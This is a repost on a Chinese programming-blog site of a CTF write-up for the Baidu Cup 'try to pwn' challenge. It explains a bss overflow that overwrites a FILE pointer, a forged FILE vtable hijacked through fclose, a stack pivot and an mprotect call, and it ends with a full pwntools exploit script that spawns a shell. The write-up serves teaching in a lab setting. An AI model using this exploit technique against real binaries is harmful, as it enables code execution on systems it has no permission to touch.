欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

第一届百度杯线上初赛 - try to pwn

程序员文章站 2022-05-14 08:05:27
...

第一届百度杯线上初赛 - try to pwn

题目涉及:

  • 伪造文件流(FILE Stream)
  • 调整栈帧(stack pivot)

源码分析

题目给的是一个32位静态编译的程序,保护开启情况如图:

第一届百度杯线上初赛 - try to pwn

程序的大概业务流程是打开名为输入名称+随机数文件的随机内容的文件,然后可以读取并输出这个文件的内容。

在 welcome 函数读入用户名时,没有限制输入长度,存在缓冲区溢出。

第一届百度杯线上初赛 - try to pwn

变量 x 位于 bss 段,文件指针 dword_80EFA00 也位于 bss 段,与 x 位置关系如图:

第一届百度杯线上初赛 - try to pwn

存储控制 x 输入内容,可以覆写文件指针 dword_80EFA00。程序最后调用了 fclose ,所以可以更改虚表指针来劫持控制流。

根据FILE结构,在 bss 段伪造出一个类似的结构,然后控制FILE里面的函数指针,执行任意代码。例如:执行fclose(fileexample)相当于调用 fileexample 这个文件(file)结构体虚表结构的 close 函数指针。

第一届百度杯线上初赛 - try to pwn

成功劫持文件流后,有一次调用机会(顺序执行一遍代码)。题目开启了 NX 保护,不能执行栈上 shellcode 。采取的解决办法是:先调整栈帧、扩充栈空间,使用 mprotect 函数改权限,让新的栈空间有可执行权限。

????Linux中mprotect()函数的用法

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

代码实现

mprotect 地址是用 gdb 加载程序后,print mprotect 查到。(无PIE)

from pwn import *
context.log_level = 'debug'

p = process('./fake')
#p = remote("106.75.2.53",10007)

mprotect_addr = 0x08071fd0
# ROPgadget --binary fake --only "pop|ret"
pop_esp_ret = 0x080e2b6d
# ROPgadget --binary fake --only "xchg|ret"
xchg_esp_eax_ret = 0x08048f66

payload = 'a' * 32 # fill up x
payload += p32(0x080efa00 + 4) # FILE Pointer point to fake file
payload += p32(0xffffffff) * (148 / 4) # fake file
payload += p32(0x080efa00 + 156) # fake file ending & point to gadget
payload += p32(pop_esp_ret)
payload += p32(0x080efa00 + 200) # stack pivot to enlarge 200 
payload += p32(xchg_esp_eax_ret)
fill_up = 200 - len(payload) + 32
payload += 'b' * fill_up
payload += p32(mprotect_addr) # call mprotect
payload += p32(0x080efa00 + 200 + 20) # ret to shellcode
payload += p32(0x080ef000) # argv 1
payload += p32(1024) # argv 2
payload += p32(7) # argv 3
payload += encoders.encoder.line(asm(shellcraft.sh())) # shellcode

# send name(payload)
p.recvuntil("name?")
p.sendline(payload)
# exit to run fclose
p.recvuntil(">")
p.sendline("3")

p.interactive()

第一届百度杯线上初赛 - try to pwn